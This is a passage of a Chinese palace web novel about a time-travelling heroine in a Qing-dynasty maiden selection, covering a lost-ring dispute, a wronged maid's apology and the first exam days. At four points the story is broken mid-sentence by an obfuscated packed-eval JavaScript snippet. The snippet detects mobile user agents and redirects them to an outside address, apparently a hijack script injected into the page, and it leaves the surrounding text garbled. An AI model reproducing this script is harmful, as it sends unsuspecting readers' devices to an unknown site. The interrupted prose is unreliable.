佟佳.静姝闻言,猛地抬起头,眼里闪过一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815923|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶,随即又恢复了平静,小声回了个“嗯”字,然后又低下头,继续搅弄着手帕。 董浣浣了然,说了句,“找到了就好。” 佟佳.静姝没再说话,车厢里又恢复了沉默。董浣浣心里暗暗叹气,早知道就不问了,这尴尬的氛围,比考试还让人难受。她只好转过头,继续看着窗外,心里盼着马车能快点到达南苑行宫。 马车走了大约两个时辰,太阳已经升到了头顶,暖洋洋的阳光透过车帘的缝隙照进来,在车厢里投下斑驳的光影。董浣浣正昏昏欲睡,马车突然停了下来。一个太监的声音传来:“各位小主,南苑行宫到了,请依次下车。” 董浣浣揉了揉眼睛,刚要掀开车帘下车,佟佳.静姝却突然叫住了她:“董鄂姑娘。” 闻言,董浣浣有些疑惑的看向佟佳.静姝。佟佳.静姝抬起头,脸颊微微泛红,像是鼓足了很大的勇气般,和她说了声谢谢。 说完,不等董浣浣回应,她就慌忙掀开车帘,快步走下了马车。 董浣浣愣在原地,有些不明所以,就这?叫住她就是为了向她说声谢谢?她到底要谢她什么? 车旁的太监见她迟迟不下车,又催促了一遍:“小主,快下车吧,别耽误了时辰。” 董浣浣赶紧回过神,掀开车帘下了马车。刚站稳,就被眼前的景色吸引了。眼前的南苑行宫景色秀丽,亭台楼阁错落有致,湖水清澈见底,岸边杨柳依依。若是平时,她或许还会欣赏一下这古代园林的美景,可现在,她满脑子都是“封闭考核”四个字,根本没心思看风景。 秀女们被带到南苑行宫的团河行宫东厢的一排房间前。房间可自由选择,每个房间住两名秀女,董浣浣自然和赫舍里.青柠住到了一起。房间不大,却收拾得干干净净。里面放着两张床,床铺上铺着白色的床单,叠着青色的被子;两张梳妆台并排放在窗边,角落里还有一个衣柜和两把椅子,除此之外,就没有其他家具了,倒显得简洁清爽。 “姑娘,这是您的号牌,今日您先歇着休整一下,明日起,每日卯时到前院广场集合,听候考试安排。”一个小太监将一块刻着“八”的木牌递给董浣浣,又嘱咐了几句注意事项,便转身离开了。 董浣浣接过木牌,指尖触到冰凉的木头,心里忍不住笑了笑。这就是她的准考证号啊,数字还挺吉利的。 小太监刚一走,青柠便不再装模作样的装端庄了,直接往床上一躺,舒服地叹了口气:“可算能歇会儿了,坐了两个时辰的马车,我的腰都快断了。”她揉了揉腰,脸上露出疲惫的神色,“我得赶紧睡一会儿,养养精神......” “是得好好歇歇,往后怕是没有好日子过喽......”董浣浣笑着回应。 闻言,赫舍里,青柠翻了个身,嘟囔了一句,“你还真是哪壶不开提哪壶啊......” 董浣浣笑了笑,没再说话。她靠在床头,闭上眼睛,脑子里又开始琢磨明天的考核。不知道这次考核会是什么内容,可是不管是什么,她都得好好应付,可不能在这节骨眼上出岔子。 一觉醒来,已经过了午饭时间,两人去饭堂简单的吃了点东西,想着好不容易来一趟,不能总是在房间里待着,两人一拍即合,便准备好好逛逛这南苑行宫...... 99. 戒指遗失事件 “你最好把东西交出来,我就当这件事没有发生!” 董浣浣和赫舍里.青柠行至一处偏僻的角落,无意中看到,石小睕正死死攥着一个小宫女的胳膊,她的指甲几乎要嵌进对方单薄的衣袖里,姣好的面容因愤怒而扭曲,鬓边的珍珠步摇随着急促的呼吸轻轻晃动,平日里维持的温婉形象荡然无存。 那小宫女不过十三四岁的年纪,梳着扁平髻,身着最普通的青色的宫装。 面对石小睕的咄咄逼人,她颤抖着身子,双手紧紧绞在身前,指节因用力而泛白。眼眶通红,泪水在里面打着转,去强忍着不敢落下,单薄的嘴唇嗫嚅着,声音细若蚊蚋般怯生生地否认:“小主,奴婢没有,奴婢真的没有偷您的东西。” “还敢狡辩!”石小睕闻言,额角的青筋猛地跳了一下,脸上的怒意更盛。她不等小宫女再说些什么,扬手便是一巴掌狠狠甩在对方脸上。 “啪”的一声脆响,小宫女的脸颊瞬间浮现出五道清晰的红痕,娇嫩的皮肤很快肿了起来,嘴角甚至渗出了一丝刺目的血迹。 石小睕居高临下地睨着她,精致的眉眼间满是不耐与威胁:“你最好将东西还给我,不然一旦怪罪下来,就凭你这卑贱的身份,有多少条命都承担不起!” 小宫女被这突如其来的一巴掌打得懵在原地,脸颊上的剧痛让她再也忍不住强撑的倔强,泪水如珍珠般滚落。她顾不得擦拭脸上的血污与泪痕,“噗通”一声重重跪倒在青石板上,额头对着地面狠狠磕了下去,发出沉闷的声响。 “砰砰砰”的磕头声接连不断,不过片刻,她的额角就红肿起来,甚至渗出了血迹。 “小主明鉴,奴婢真的没有偷您的东西!求小主相信奴婢,奴婢绝不敢做这等偷鸡摸狗的事啊!”她泪眼朦胧,声音带着浓重的哭腔,每一次磕头都用尽了全身力气,仿佛这样就能证明自己的清白。 董浣浣还是第一次见到如此模样的石小睕,被惊得有些愣住了。说实话,这是这么久以来,让她第一次深刻的体会到了,封建社会等级的不平等。 之前她被福临和阿玛他们保护的太好了,虽然选秀期间与秀女们之间也算偶有摩擦,但大家身份都是京都贵女,打打闹闹的也和之前学校里面同学之间的摩擦差不多。 这还是她第一次,看到身份等级不同,上位者单方面的霸凌。 还没等董浣浣回过神,做出反应,赫舍里??青柠在阴影里看得睚眦欲裂,她最见不得这等恃强凌弱的场面。当下再也按捺不住,猛地从阴影里冲了出去,一把将摇摇欲坠的小宫女从地上拉了起来。她将小宫女牢牢护在身后,挺直了脊背,杏眼圆睁地瞪着石小睕,气势逼人:“石小睕!你怎能如此不分青红皂白就动手打人?还有,怎么能仅凭你一面之词,就断定她偷了东西?” 石小睕被突然出现的青柠吓了一跳,下意识地后退了半步。 石小睕看了一眼面前的赫舍里.青柠和站在不远处的董鄂.浣浣,心里暗道一声不好,不是,她都将人带到如此隐蔽的地方审问了,赫舍里.青柠和董鄂.浣浣是怎么发现的。万一她们将这件事告诉了管事太监和嬷嬷,后果不堪设想,当前要做的就是安抚住赫舍里.青柠的情绪,以防事情闹大了,不好收场…… 石小睕稳定了一下心神,放缓了语气,尝试着和青柠解释道,“那东西我一直随身带着,从未离身,只有今天中午洗漱时取下来过,就放在梳妆台上。今天一整天,除了她来送过一次点心,没有别人进过我的房间,不是她偷的还能是谁?” “就算如此,你也不能这般武断!”青柠反驳,“什么叫就她一个人进去过?你屋里同住的穆克涂??娅淳难道不是人吗?你不怀疑她,却偏偏在这里为难一个手无寸铁的小宫女,难道不是因为欺软怕硬......” 穆克涂??娅淳是云骑尉伍喀之女,她自然是不能得罪的。但石小睕此次不怀疑穆克涂??娅淳,倒并非全因畏惧其家世,欺软怕硬。 先前,她与钮祜禄??亦凝、董鄂.浣浣三人把事情闹得这么大,整个储秀宫的秀女几乎无人不晓,是个秀女都不会偷这个...... 石小睕的脸色一白,随即开口道:“那东西穆克涂??娅淳怎么可能会偷?她又不傻!眼下这风口浪尖,谁会主动惹祸上身?” 青柠冷哼一声,“她是不傻,但是你傻啊!” 石小睕刚想反驳,就被青柠打断了,“在考核期间,私下打骂宫女,你也是活够了......” 董浣浣站在一旁静静听着两人争执,眉头渐渐蹙了起来。她们吵了半天,始终没说清到底丢了什么东西,这般僵持下去,非但解决不了问题,反而可能引来宫中嬷嬷的注意。她轻咳了一声,清了清嗓子,开口打破了僵局:“石小睕,你说了这么久,到底丢了什么物件?不妨明说,或许我们能帮你一起找找,总好过在这里僵持不下。” 石小睕抿了抿唇,似乎有些不情愿。但在董浣浣平静的注视下,她终究还是松了口,咬牙说道:“还能是什么,自然是我日日戴在手上的那枚戒指啊!” “又是那枚戒指……”董浣浣只觉得脑袋嗡嗡作响,太阳穴突突的跳。 怎么又是这枚戒指啊......她简直要无语凝噎。怎么最近所有的事情都要围着戒指展开呢,这个世界没有戒指是不是就不会转了...... 董浣浣强压下心头的烦躁,暗自腹诽:福临若是知道,他搞出来的这枚“狸猫”戒指,会引出这么多的风波,数不清的是非官司,不知会作何感想。 董浣浣定了定神,她语气平和地对石小睕说:“你之前也曾被人诬陷偷过这枚戒指,应当最能体会被冤枉的滋味。如今戒指丢了,与其在这里责罚一个小宫女,不如我们一同回你的住处找找。说不定是你洗漱时不小心放错了地方,或是不慎掉在了哪个角落也未可知。再者说了,你此刻闹出这么大的动静,若是被上面的人知晓,怪罪下来,遭殃的可不光是她一个小小的宫女吧?” 石小睕听出了她话语中的威胁。若是被那人知道戒指丢了,处罚的当然不会只有那个小小的宫女。她上次因为这枚戒指闹出了那场风波,想要博取怜惜。那人如此的聪明,一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,几人足足找了将近一个时辰,将整个房间翻了个底朝天,却始终没有找到那枚戒指的踪影。 石小睕的脸色越来越难看,她再次将目光投向妙春,眼神里的怀疑更甚:“除了你,没人有机会偷我的戒指!你到底把它藏在哪里了?快交出来!” 妙春被吓得“扑通”一声又跪了下来,泪水再次汹涌而出:“小主,奴婢真的没有偷啊!求您相信奴婢,奴婢就算有天大的胆子,也不敢偷小主的东西啊!” 就在石小睕怒不可遏,正要上前再次发难之时,站在门边的青柠表示无语,随手晃动了一下身后的门扉。 只听“咕噜噜”一声轻响,那枚戒指从门后的缝隙里滚了出来,在青石板地面上转了几圈,最终停在了众人眼前。 所有人的目光瞬间都集中在了那枚戒指上,房间里顿时陷入了一片死寂。石小睕看着那枚失而复得的戒指,先是愣了愣,随即脸上露出了复杂的神色,有惊喜,有尴尬,还有一丝不易察觉的阴郁...... 100. 道歉 “现在,该向妙春道歉了吧?” 石小睕正松了口气,想着戒指既已寻回,这场风波便该悄无声息落幕,刚示意妙春退下,董浣浣的声音突然响起,带着不容置喙的笃定,同时伸手扣住了妙春即将挪动的手腕。 妙春浑身一僵,那双原本带着怯懦的眼睛瞬间睁得圆圆的,慌乱地摆着另一只手,声音细若蚊蚋:“不、不用的……” 石小睕闻声转头,目光落在董浣浣身上,眼底翻涌着不解与不耐。 她实在不懂,董鄂·浣浣为何总爱这般多管闲事。明明事情已然了结,戒指物归原主,没人再提及妙春的嫌疑,偏生她要在此时出声,将所有人的目光重新拽回这场本可收尾的闹剧里,将难堪甩在她的脸上。 她越想越觉得荒谬,董鄂·浣浣这个人真的很奇怪,她的想法,她的所作所为,总让石小睕有一种她和当今世界格格不入的错觉。 石小睕深吸一口气,语气里满是难以置信:“你让我向一个奴婢道歉?” 她可是堂堂吏部侍郎的千金,怎能在众目睽睽之下,向一个身份卑微的奴婢低头认错?这简直是奇耻大辱,比当众被掌掴还要让她难堪百倍。 她下意识地攥紧了手中的丝帕,指节因为用力而泛白,唇瓣翕动着,想要反驳的话却始终没能说出口。 她心里清楚得很,若是此刻发作,穆克涂·娅淳的态度尚且不明,但赫舍里·青柠必定会站在董鄂·浣浣那边,情况只会变得更糟糕。 更何况,今日是她自己不慎弄丢了御赐的戒指,还一意孤行地认定妙春偷窃,甚至还动了手。这事若是传扬出去,别说后续的考核和大选了,恐怕连父亲的官声都会受到牵连。 更重要的是,她在那个人心中小心翼翼维持的温婉贤淑的形象,也会就此崩塌,毁于一旦。 小不忍则乱大谋,想要董鄂.浣浣和赫舍里·青柠守住这个秘密,她就只能乖乖照做,咽下这份屈辱。 石小睕的心思在短短片刻间百转千回,她偷眼瞥了瞥站在一旁垂着头的妙春,见她眼眶泛红,嘴角还有未消的红肿,心里更是一阵别扭,之前应该再努力找找的,是她太冲动了,让自己陷入如此为难的境地。 就在她僵持着不肯开口,空气都仿佛凝固之时,赫舍里·青柠双手抱胸,斜倚在门框上,眉眼间满是不耐与讥讽,“磨磨蹭蹭做什么?赶紧道歉啊!” 果然,和她预想的一样,赫舍里·青柠毫无意外地站到了董鄂·浣浣那边。 石小睕深吸一口气,在心里一遍遍地告诉自己:小不忍则乱大谋。今日的屈辱不算什么,此刻她只能忍,忍到考核结束,忍到大选尘埃落定。 她压下心头翻涌的屈辱和不甘,努力挤出几分看似真诚的神色,缓缓迈步走到妙春面前。她伸出手,轻轻握住了妙春微凉的手腕。 妙春的手纤细瘦弱,指关节因为常年做粗活而显得有些粗糙,甚至带着一层薄茧。被石小睕温热的手指握住时,她下意识地瑟缩了一下,眼底闪过一丝惊惧。 石小睕的指尖传来陌生的粗糙触感,让她几不可闻的皱了皱眉头。但她还是硬着头皮,用尽量柔和的语气开口:“抱歉,是我误会你了。” 话音刚落,不等妙春反应过来,她便抬手摘下了自己发髻上的一支金钗。 她将金钗塞进妙春手里,指尖刻意放缓了动作,尽量让自己的姿态显得真诚些,握着妙春的手柔声说道:“这支金钗,就当是给你压压惊,算是我赔罪的心意。” 妙春哪里敢收,连忙不迭地推辞:“不、不用的小主,真的不用!奴婢身份卑微,怎敢收小主如此贵重的礼物……” 石小睕脸上的笑容险些维持不住,心里暗自无语。这丫头是故意的吗?众目睽睽之下,她这般推拒,岂不是存心让自己下不来台?可她此刻有求于人,嘴上又不能发作,只能强压着心头的不快,依旧陪着笑脸说道:“今日之事,确实是我对不住你。你若是不收下,便是不肯原谅我,我这心里也会一直过意不去的。” 这话一出,顿时把妙春架在那儿,不知如何是好。 董浣浣将这一幕看在眼里,轻轻蹙了蹙眉,开口解围道:“既然她一片心意,你就收着吧。” 妙春握着那只金钗,指尖微微颤抖。她抬头看了石小睕一眼,张了张嘴,想说些什么,最终却什么也没说,只是又缓缓低下了头,将金钗紧紧攥在手心,指腹摩挲着冰凉的钗身,不知道心里在想些什么...... 董浣浣将她的反应尽收眼底,眉峰蹙得更紧了些。 她讨厌自己的犹豫,她很后悔看到妙春被扇巴掌时,没能第一时间冲出去保护她。 她本是想弥补自己的错误,为妙春讨回公道,可此刻看着妙春这副模样,又觉得自己好像做错了,一时间竟也不知道该说些什么...... 这件事就这样揭过去了...... 董浣浣原本以为,今日难得休息,可以和青柠一起到处逛逛,舒缓一下连日来紧绷的神经。 可谁曾想,终究没能如愿,回到房中,只剩下满心的疲惫与郁结。 是夜,赫舍里·青柠折腾了一天,早已累得筋疲力尽,回到房间后沾着枕头便沉沉睡了过去。 董浣浣却毫无睡意,辗转反侧了许久,她轻轻起身,披了件莹白色的外套,走出门外...... 李顺德早已等候在那里。 “小主,您来了。”李顺德见了董浣浣,连忙上前一步,恭敬地压低声音行礼,语气里带着几分难掩的关切,“白天的事,我都听说了。小主,您没事吧?有没有受什么惊吓?” 董浣浣闻言,心头猛地一惊,她挑眉看向李顺德,语气里带着一丝不易察觉的紧张,“怎么?这事连你都知道了?” 若是连李顺德都听说了,那其他人是不是都知道了?事情竟然闹得这么大了吗?她心里咯噔一下,暗道不好。这事若是传开,不仅石小睕要倒大霉,她们这些在场的人恐怕也会被波及。尤其她上次就曾卷入石小睕的戒指事件,这次又再次牵涉其中,到时候就算她有十张嘴,也解释不清这事和她无关了。 董浣浣只觉得一个头两个大,太阳穴突突地跳着,她这是又要惹上麻烦了吗?她刚和福临保证过要乖乖的,这又将自己牵涉其中,福临知道后,还不知道会怎么生气呢,她还没能看看他的伤口好了没,就又在给他惹事了...... 此事传开,石小睕也不好过,弄丢御赐之物,殴打宫女,这罪过可就大了,轻则取消选秀资格,重则可能还要连累她的父亲。 董浣浣虽然不喜欢石小睕今日的所作所为,但也从未想过要让她陷入如此境地。她想为妙春讨回公道,让石小睕受到她该有的惩罚,但是并非要置石小睕于死地啊。 她不知道福临如果知道了这件事会怎么处理,虽然她知道石小睕是和福临做了交易,但是福临也说过,他不是个心慈手软之人,不会为其他人破例...... 李顺德见董浣浣脸色变幻不定,一副忧心忡忡的模样,连忙摆了摆手,压低声音解释道:“没有,没有,小主您别担心,其他人都不知道!” “是妙春悄悄告诉我的,除了我,再没别人知晓了。”他语气急切,生怕董浣浣误会事情已经泄露。 董浣浣闻言,紧绷的神经稍稍放松了一些,但还是一脸狐疑地看向李顺德,眼神里带着一丝探究。 李顺德看出了她眼底的疑惑,连忙又解释道:“小主有所不知,奴才和妙春是同乡。小时候家乡闹灾荒,一起逃难出来的。” 董浣浣这才恍然大悟,轻轻点了点头,语气缓和了些:“哦,原来是这样啊。” 李顺德点点头,脸上露出几分感激之色,语气诚恳:“是啊,所以她特意托我,一定要帮她谢谢您和赫舍里主子。今日若不是二位主子为她做主,她这冤屈,恐怕是洗不清了,说不定还会受更多的苦头,甚至可能被赶出宫去。” “这声谢谢,奴才就替妙春给二位主子道了。”说着,他便要躬身行礼。 董浣浣连忙抬手拦住了他,“李公公不必如此多礼。今日之事,主要是青柠挺身而出,据理力争,我不过是在一旁说句公道话罢了,这声谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815925|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我受之有愧。” 她顿了顿,神色渐渐变得严肃起来,语气也多了几分郑重:“不过,李公公,今日这事,最好还是不要再让其他人知道了。妙春虽然是被冤枉的,受了天大的委屈,但这宫里人多眼杂,人心叵测,各怀心思。若是这件事情闹大了,被有心之人知晓,很难保证不会有人借机生事,搬弄是非。到时候,不仅石小睕会遭殃,很可能会波及到妙春。” 董浣浣虽然不想承认,但是今天这件事让她看清了一件事,在这个封建社会里,没有平等和人权可言。她虽然讨厌,但是不得不承认,她正在潜移默化的被这个时代同化,越来越多的用这个时代人的思想来思考问题。 妙春身份卑微,即便占着理,可在这等级森严的皇宫里,一旦事情闹大,最后吃亏的终究还是她。那些看热闹不嫌事大的人,只会添油加醋地传播谣言,谁会真正在意一个奴婢的冤屈?说不定还会有人颠倒黑白,说她是故意挑拨主子之间的关系,到时候,妙春的处境只会更加艰难,甚至可能性命不保。 李顺德在宫里待了多年,自然也明白这个道理,连忙连连点头,语气里带着几分身为奴才的无奈:“放心吧,浣主儿,这些奴才都明白的。在这宫里当差,尤其是我们这些奴才,哪有不受委屈的?能平安度日,就已是万幸,哪敢奢求什么公道?” 他的语气里带着几分身为奴才的无奈与心酸,听得董浣浣心里微微一沉,像是被什么东西堵住了一般,很不舒服。 她蹙了蹙眉,语气坚定地反驳道:“李公公,话不能这么说。人皆有七情六欲,会欢喜,会难过,会觉得委屈,这都是人之常情。感觉到委屈,本就是应该的,没有谁天生就该受委屈,也没有谁天生就该低人一等。” “今日这事,确实是石小睕做错了。她仗着自己的身份地位,不分青红皂白地冤枉妙春,还动手伤了人,理就该在妙春这边。” 董浣浣说完,从衣袖里掏出一个小小的锦袋,递到李顺德面前。锦袋入手沉甸甸的,里面装着几块成色极好的金子,“这些金子,你拿着。妙春今日不仅受了冤屈,还受了惊吓,身上也添了伤。你帮她请个靠谱的大夫好好看看,买点好的药材调理身子,另外,再给她买点好吃的,让她好好休息几天,也好压压惊。” 李顺德连忙推辞,“这可使不得,使不得!奴才怎能要您的钱?您能为妙春做主,已经是天大的恩情了,怎敢再收您的财物?” 董浣浣不由分说地将锦袋塞进他的手中,“收着吧,这不是给你的,是给妙春的,你就替她收下吧。” 其实,下午的时候,董浣浣就曾给过妙春一些银子,让她自己去买药调理。可妙春说什么也不肯收,只一个劲儿地说自己没事,让董浣浣不必挂心。董浣浣拗不过她,只好作罢。但她心里始终惦记着这事,总觉得应该再为妙春做些什么,才能稍稍安心。 李顺德握着手中沉甸甸的锦袋,又看了看董浣浣真挚的眼神,心里一阵暖意。他在宫里待了这么多年,见多了趋炎附势、冷漠无情的主子,像董浣浣这样,能真心体恤下人、为下人着想的,实在是少见。 他连忙躬身道谢,“奴才多谢浣主儿体恤!妙春能遇到您,真是她的福气。您放心,奴才一定把您的心意好好带到。” 董浣浣轻轻点了点头,再次叮嘱道:“切记,此事一定要低调行事,不要再让任何人知晓,免得节外生枝,惹出更多麻烦。” “奴才明白!”李顺德连忙郑重应下,将锦袋小心翼翼的收了起来。 董浣浣又细细叮嘱了几句,让李顺德务必照顾好妙春,这才转身离开。 夜色更浓了,晚风带着几分凉意,吹起她鬓边的碎发,董浣浣轻轻叹了口气,拢了拢身上的外套,加快脚步朝着自己的住处走去。 不管前路如何,她能做的,便是谨言慎行,保护好自己,同时也尽自己所能,护好身边这些无辜而善良的人。 回到房间时,赫舍里·青柠依旧睡得很沉,董浣浣轻手轻脚地走到床边,缓缓躺了下去,望着窗外的月色,思绪万千,久久没有睡意...... 101. 考核 次日,考核正式开始。 清晨,天刚蒙蒙亮,负责叫起的太监的敲锣声打破了寂静,董浣浣被吓得一激灵,猛地坐起身。 身旁的青柠早已醒了,正揉着惺忪的睡眼摸索着衣物,见董浣浣醒来,低声道:“快起吧,再晚就赶不上卯时的集合了。” 董浣浣应声起身,两人分别换上了内务府统一发放的考核服饰。一身淡蓝色的旗装,头上梳着最简单的盘辫头。 两人对着黄铜镜细细整理,董浣浣抚平衣角的褶皱,看着镜中自己略显紧张的脸庞,深吸了一口气。 青柠则对着镜子拨了拨发髻,嘟囔道:“这衣服真是又丑又紧,勒得人喘不过气。” 董浣浣轻笑一声:“忍忍吧,考核要紧。” 整理妥当后,两人提着裙摆,匆匆赶往考核场地。一路之上,随处可见同样穿着淡蓝色旗装的秀女,皆是步履匆匆,脸上带着几分忐忑与不安。 考核场地设在一处宽敞的庭院里,四周摆放着数十张木桌椅,桌上铺着素色锦缎,笔墨纸砚一应俱全。 几位负责考核的嬷嬷早已端坐于上首的太师椅上,她们身着深色宫装,面色肃穆,目光锐利如鹰,扫过每一位前来的秀女,让原本就紧张的氛围更添了几分压抑。 董浣浣和青柠找了个靠边的位置站定,刚站稳脚跟,便听到上首传来一声沉声道:“考核开始。”说话的是灭绝师太齐一秋,她脸上没有丝毫表情,声音低沉而威严,带着不容置疑的气势。 这感觉,瞬间将董浣浣拉到了高考那天,让原来不算紧张的她,顿时也开始紧张起来。 礼仪考核是第一关,也是最基础的一关。齐一秋缓缓起身,走到庭院中央,朗声道:“上前一步,行跪拜礼。” 她的目光扫过众人,“须知宫廷礼仪,关乎皇家体面,一言一行皆有规矩,今日便看你们这阵子的所学所得了。” 此项考核不仅要求动作标准,还要求神态端庄,步态优雅,甚至连转身的角度、抬手的高度都有严格的规定。 秀女们依次上前,按照嬷嬷之前教导的礼仪,双膝跪地,双手交叠放在身前,额头轻轻点地,动作需连贯流畅,姿态需端庄得体。 齐一秋的目光锐利,稍有不慎,便会被她严厉斥责。 董浣浣看着前方的情景,打起十二分的精神,暗暗告诫自己,切勿慌张,只需牢记嬷嬷教导的要领便可。 轮到她时,她深吸一口气,稳住心神,一步步走上前,每一个动作都做得格外小心。裙摆随着步伐轻轻晃动,姿态优雅。双膝缓缓跪地,没有一丝声响,双手交叠置于小腹前,指尖并拢,额头轻触手背,整套动作标准而流畅,没有丝毫差错。 她能感觉到齐一秋的目光在自己身上停留了片刻,那目光带着审视与考量,让她不由得屏住了呼吸。 片刻后,齐一秋缓缓点了点头,沉声道:“尚可,退下吧。” 董浣浣心中一松,缓缓起身,退回了原位。 上午的礼仪考核过后,下午便是女红考核。宫女们将针线、绸缎和花样图纸一一分发到每张桌上,张嬷嬷再次开口:“限时三个时辰,按照图纸绣出指定图案,需针法娴熟,配色得当,不得有误,期间可以自由活动,去吃饭,喝水或者其他,但是绣品不可以带走……” 董浣浣拿起桌上的图纸,只见上面画着一朵盛开的玉兰花,花瓣层层叠叠,脉络清晰,旁边还点缀着几片绿叶,看似简单,实则极为考验针法。 她拿起针线,指尖微微有些颤抖,别的东西还好速成,女红这种东西是长年累月的积累,想要滥竽充数,做做表面功夫都很难,之前她虽然突击学了,但都是绣些简单的荷包、手帕,这般精细的纹样,还是第一次尝试。 她定了定神,回忆着李嬷嬷教导的针法,先将绸缎固定在绣绷上,取了丝线,穿针引线。 银针在她手中起起落落,一针一线都格外小心翼翼。 时间一分一秒地过去,香炉里的香燃得越来越短,烟雾袅袅升起,弥漫在空气中。 周围静悄悄的,只听得见银针穿梭丝线的“沙沙”声,偶尔有秀女发出低低的叹息,想来是遇到了难处。 青柠坐在不远处,眉头紧锁,手中的针线停了又动,显然也是颇为棘手。 董浣浣顾不了其他,又低头目光从新回到绣品上。 时间在一分一秒中溜走,就在香即将燃尽的那一刻,董浣浣终于绣完了最后一针。 她放下针线,长长地舒了一口气,看着手中的绣品,心中既有欣慰,也有几分忐忑。 这绣品虽不算特别精致,花瓣的边缘还有些不够圆润,颜色过渡也略显生硬,但总归中规中矩,没有出现太大的失误,希望可以顺利过关吧。 果然负责收绣品的嬷嬷,看到她的作品,眉头几不可闻的皱了皱,董浣浣的心也跟着提了起来,等待下文,可嬷嬷最终什么也没说,将她的作品收走了…… 反正已经考完了,成败已定,不必想太多,董浣浣默默的在心里安慰自己道。 第一天的考核结束后,董浣浣和青柠拖着疲惫的身躯回到了住处。 一进门,董浣浣便脱掉鞋子,倒在床上,只觉得浑身酸痛,仿佛散了架一般,连动一根手指的力气都没有了…… 青柠也累得够呛,她一进门就瘫坐在椅子上,拿起桌上的茶壶,倒了杯水,一饮而尽,抱怨道:“真是太累了!这玉兰花也太复杂了,我绣到最后,手都在抖,还不知道能不能过关。” 董浣浣侧过身,看着她疲惫的模样,苦笑了一声,“我的绣品被负责收绣品的嬷嬷当面嫌弃了……” 青柠闻言,连忙放下手中的杯子,转过头看向她,急切的问道,“她说了什么,最后过关了吗?” 董浣浣摇摇头,“她什么也没说,只是皱了下眉头……” 青柠一时间不知道该怎么安慰她:“那你……” 董浣浣笑笑,“不过,我也想开了,考都考完了,既来之则安之,想那么多干什么……” 反正福临也没要求她门门拿优,考个状元回去,毕竟他说过只要她开心就好,其他的他都会替她摆平。就以她的能力走一步看一步吧,无愧于心就好。反正她本来也没想要在这次选秀中取得多么优异的的成绩,只是不想丢福临的脸而已。 青柠赞同道:“也是,想那么多也没有用,毕竟也不是所有人都想做皇妃的……” 两人有一搭没一搭地聊着,渐渐驱散了身上的疲惫。简单地洗漱过后,她们便早早地睡下了,为第二天的考核养精蓄锐。 第二天,考核内容是诗词歌赋和算数。 看到题目,董浣浣收回自己昨天所说的别的东西还好速成的说法。 就没有好速成的东西! 她穿越来的地方是大清朝,唐诗、宋词、元曲,明小说,一个都不能直接拿来用。 她从小背那么多的古诗,是半句都用不上。 那些穿越男女主,在小说、电视剧、电影里用李白、杜甫、苏轼……的诗词大杀四方的场景,让身在大清朝的她完全无法施展。 诗词歌赋考核要求秀女们现场作诗一首,主题是这次选秀。董浣浣几乎是用尽了毕生所学,才勉勉强强的写成了一首。 还好,负责考核的陈嬷嬷接过她的诗作,细细品读了一番,眼中闪过一丝赞许,点了点头。 董浣浣这才放下心来。 算数考核则相对简单,主要是一些基础的加减乘除运算,写在一张张麻纸上。 董浣浣凭借着之前的学习基础,拿起毛笔,飞快地演算起来。不过半柱香的时间,她便完成了所有题目,仔细检查了一遍,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815926|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认无误后,便交给了负责考核的嬷嬷。 最让董浣浣头疼的,莫过于第三天的骑射考核。 考核场地设在南苑行宫的校场上,宽阔的场地中央立着数十个靶心,远远望去,如同一个个小小的白点。 秀女们换乘马车来到校场时,阳光已经升高,洒在地上,暖洋洋的,却驱散不了董浣浣心中的紧张。 她一个现代人,骑马射箭对她而言,实在是太过陌生,之前骑马都是福临负责骑她坐着就好。 这阵子在嬷嬷的教导下,她也只是学了些皮毛,勉强能够上马坐稳,拉弓搭箭的力道和准头,却是一塌糊涂。 看着其他秀女有的英姿飒爽地翻身上马,有的已经拉开弓箭瞄准靶心,董浣浣的手心不由得冒出了冷汗。 青柠站在她身边,小声安慰道:“别紧张,尽力就好。” 董浣浣点了点头,深吸一口气,在侍卫的搀扶下翻身上马。马匹是一匹温顺的枣红色母马,性子还算沉稳。她紧紧抓住缰绳,双腿用力夹住马腹,努力让自己保持平衡,手心因为紧张而微微出汗,几乎要握不住缰绳。 